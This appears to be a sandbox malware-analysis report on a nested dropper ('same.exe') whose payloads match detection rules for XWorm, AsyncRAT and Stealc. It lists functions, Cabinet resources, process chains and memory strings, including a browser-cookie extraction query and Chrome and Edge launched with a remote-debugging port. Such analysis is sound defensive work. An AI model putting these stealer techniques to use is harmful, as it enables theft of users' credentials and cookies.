Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C80DFC0	10_2_6C80DFC0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C873FC0	10_2_6C873FC0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C725F20	10_2_6C725F20
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6E5F30	10_2_6C6E5F30
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C79BFF0	10_2_6C79BFF0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C847F20	10_2_6C847F20
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C711F90	10_2_6C711F90
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C74D810	10_2_6C74D810
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C84B8F0	10_2_6C84B8F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CF8F0	10_2_6C7CF8F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6FD8E0	10_2_6C6FD8E0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7238E0	10_2_6C7238E0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7AD960	10_2_6C7AD960
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A5920	10_2_6C7A5920
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C83F900	10_2_6C83F900
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7559F0	10_2_6C7559F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7879F0	10_2_6C7879F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7299D0	10_2_6C7299D0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7899C0	10_2_6C7899C0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7C1990	10_2_6C7C1990
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C701980	10_2_6C701980
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7EDA30	10_2_6C7EDA30
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C72FA10	10_2_6C72FA10
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6F1AE0	10_2_6C6F1AE0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CDAB0	10_2_6C7CDAB0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C879A50	10_2_6C879A50
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7CFB60	10_2_6C7CFB60
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C73BB20	10_2_6C73BB20
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C737BF0	10_2_6C737BF0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7B9BB0	10_2_6C7B9BB0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C749BA0	10_2_6C749BA0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7D5B90	10_2_6C7D5B90
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6E1B80	10_2_6C6E1B80
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C8714A0	10_2_6C8714A0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7D9430	10_2_6C7D9430
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C77D410	10_2_6C77D410
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6F14E0	10_2_6C6F14E0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C705510	10_2_6C705510
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C757500	10_2_6C757500
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7755F0	10_2_6C7755F0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C83F510	10_2_6C83F510
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C729590	10_2_6C729590
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C709650	10_2_6C709650
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C745640	10_2_6C745640
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C767610	10_2_6C767610
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C719600	10_2_6C719600
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7216A0	10_2_6C7216A0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7596A0	10_2_6C7596A0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C8337C0	10_2_6C8337C0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C713720	10_2_6C713720
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7C9720	10_2_6C7C9720
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C75D710	10_2_6C75D710
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C77B7A0	10_2_6C77B7A0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C79F050	10_2_6C79F050
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6ED050	10_2_6C6ED050
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C6F9050	10_2_6C6F9050
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C73B020	10_2_6C73B020
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7A7090	10_2_6C7A7090
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C73F150	10_2_6C73F150
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7B3120	10_2_6C7B3120
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7031E0	10_2_6C7031E0
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: 10_2_6C7531C0	10_2_6C7531C0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001980C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: String function: 6C74C5E0 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: String function: 6C829F30 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: String function: 6C719B10 appears 114 times
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Code function: String function: 6C713620 appears 111 times
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Code function: String function: 006680C0 appears 130 times

Source: same.exe	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 6776153 bytes, 2 files, at 0x2c +A "N4H84.exe" +A "4O211C.exe", ID 1392, number 1, 248 datablocks, 0x1503 compression
Source: N4H84.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 5107664 bytes, 2 files, at 0x2c +A "h0i46.exe" +A "3r66R.exe", ID 1454, number 1, 267 datablocks, 0x1503 compression
Source: h0i46.exe.2.dr	Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 3370538 bytes, 2 files, at 0x2c +A "1C05b9.exe" +A "2z8320.exe", ID 1485, number 1, 193 datablocks, 0x1503 compression

Source: same.exe, 00000000.00000003.2172284959.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs same.exe
Source: same.exe, 00000000.00000003.2172438436.0000000002B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs same.exe

Source: same.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 24.2.abu7zly.exe.eb0000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 24.2.abu7zly.exe.eb0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 00000018.00000002.3445607338.0000000000EB2000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000018.00000003.2836782054.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: random[1].exe.23.dr	Static PE information: Section: schgtdbg ZLIB complexity 0.990153325413523
Source: 531581880b.exe.23.dr	Static PE information: Section: schgtdbg ZLIB complexity 0.990153325413523
Source: abu7zly[1].exe.23.dr	Static PE information: Section: ZLIB complexity 0.9994491185897436
Source: abu7zly[1].exe.23.dr	Static PE information: Section: emcbjfeu ZLIB complexity 0.995290552151823
Source: abu7zly.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9994491185897436
Source: abu7zly.exe.23.dr	Static PE information: Section: emcbjfeu ZLIB complexity 0.995290552151823

Source: random[1].exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 1C05b9.exe.3.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: GIJEGDAKEH.exe.10.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@73/1016@10/13

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E597D GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_003E597D

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	0_2_003E1F90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A1F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	2_2_002A1F90
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00361F90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,ExitWindowsEx,	3_2_00361F90

Source: C:\Users\user\Desktop\same.exe

0_2_003E597D

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E2CAA memset,memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceA,LoadResource,

0_2_003E2CAA

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\C3FECMW1.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Mutant created: \Sessions\1\BaseNamedObjects\IkovaKHRV7oXyXi5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\same.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: C:\Users\user\Desktop\same.exe	Command line argument: Kernel32.dll	0_2_003E2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Command line argument: Kernel32.dll	2_2_002A2BFB
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Command line argument: Kernel32.dll	3_2_00362BFB

Source: same.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\same.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2847320662.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies;
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 2z8320.exe, 00000006.00000003.2290510761.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp, 2z8320.exe, 00000006.00000003.2279152884.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2577345534.0000000005389000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000003.2706521874.000000000537D000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2943343294.0000000005668000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2930723768.000000000565D000.00000004.00000800.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2930164555.0000000005679000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2850639857.00000000054EB000.00000004.00000020.00020000.00000000.sdmp, 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857081486.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: same.exe	ReversingLabs: Detection: 50%
Source: same.exe	Virustotal: Detection: 55%

Source: 1C05b9.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\same.exe "C:\Users\user\Desktop\same.exe"
Source: C:\Users\user\Desktop\same.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\"
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process created: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe "C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\"
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process created: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe "C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe"
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2512,i,7697681695626081863,14330299052543612662,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
